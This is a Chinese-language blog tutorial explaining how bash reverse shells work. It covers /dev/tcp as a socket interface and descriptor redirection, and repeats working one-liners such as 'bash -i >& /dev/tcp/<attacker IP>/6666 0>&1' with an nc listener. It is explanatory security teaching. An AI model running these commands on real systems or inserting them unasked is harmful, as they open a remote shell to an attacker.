04.Bash反弹Shell原理
本文最后更新于520 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、什么是反弹shell

被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等 问题导致被控端不能正常接收发送过来的数据包。

  • 被控端
bash -i >& /dev/tcp/192.168.81.154/6666 0>&1

==ip为黑客的ip==

  • 控制端
nc -lvvp 6666
//-lvp -lnvp都可以
  • 参数解释
bash -i
打开一个交互式的bash shell。即一个终端

/dev/tcp/IP/port
/dev/tcp/是Linux中的一个特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。
打开这个文件就相当于发起了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

/dev/tcp/192.168.81.154/6666
和192.168.81.154的6666端口建立TCP连接

Pasted image 20241217113721.png

Pasted image 20241217113656.png

Pasted image 20241217114422.png

  • 通过socket连接通信
  1. 向 /dev/tcp/IP/PORT 写入内容
//控制端
nc -lvvp 6666
//被控端
echo hello > /dev/tcp/192.168.81.154/6666

Pasted image 20241217094452.png

  1. 从 /dev/tcp/IP/PORT 读取内容
nc -lvvp 6666

cat < /dev/tcp/192.168.81.154/6666

Pasted image 20241217094641.png

二、实现交互式shell

实现控制端和被控端之间的交互

1. 把被控端的交互式shell 输出重定向到控制端

bash -i > /dev/tcp/10.10.1.11/6666

Pasted image 20241217114815.png

1 标准输出到控制端,而0 标准输入到被控端
Pasted image 20241217115016.png

被控端输入指令
Pasted image 20241217114944.png

控制端输出指令结果

2.把控制端的输入重定向到被控端的交互式shell

# 控制端
nc -lvvp 6666
# 被控端
bash -i < /dev/tcp/192.168.81.154/6666

Pasted image 20241217120536.png

Pasted image 20241217120639.png

实现了将控制端的输入重定向到被控端,但是控制端看不到命令执行结果。

3. 结合两条语句,实现交互式命令行

bash -i > /dev/tcp/192.168.81.154/6666 0>&1

由 /dev/tcp/192.168.81.154/6666传递的数据作为交互式shell的输入,命令执行后的结果输出 到/dev/tcp/192.168.81.154/6666。

解释:bash -i > /dev/tcp/192.168.81.154/6666
把1弹给黑客,
0>&1
把0弹给1
Pasted image 20241217141137.png

4. bash 反弹shell

bash -i &> /dev/tcp/10.10.1.11/6666 0>&1 

bash -i > /dev/tcp/10.10.1.11/6666 0>&1 2>&1

&、&>:混合输出(正确、错误的输出都输出到一个地方),将标准输出、错误输出全都重定向到/dev/tcp/HOST/PORT,即控制端
0>&1:将标准输入的读取对象设置为标准输出的输出对象,即将标准输入也重定向到 /dev/tcp/HOST/PORT,即控制端

Pasted image 20241217142535.png

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇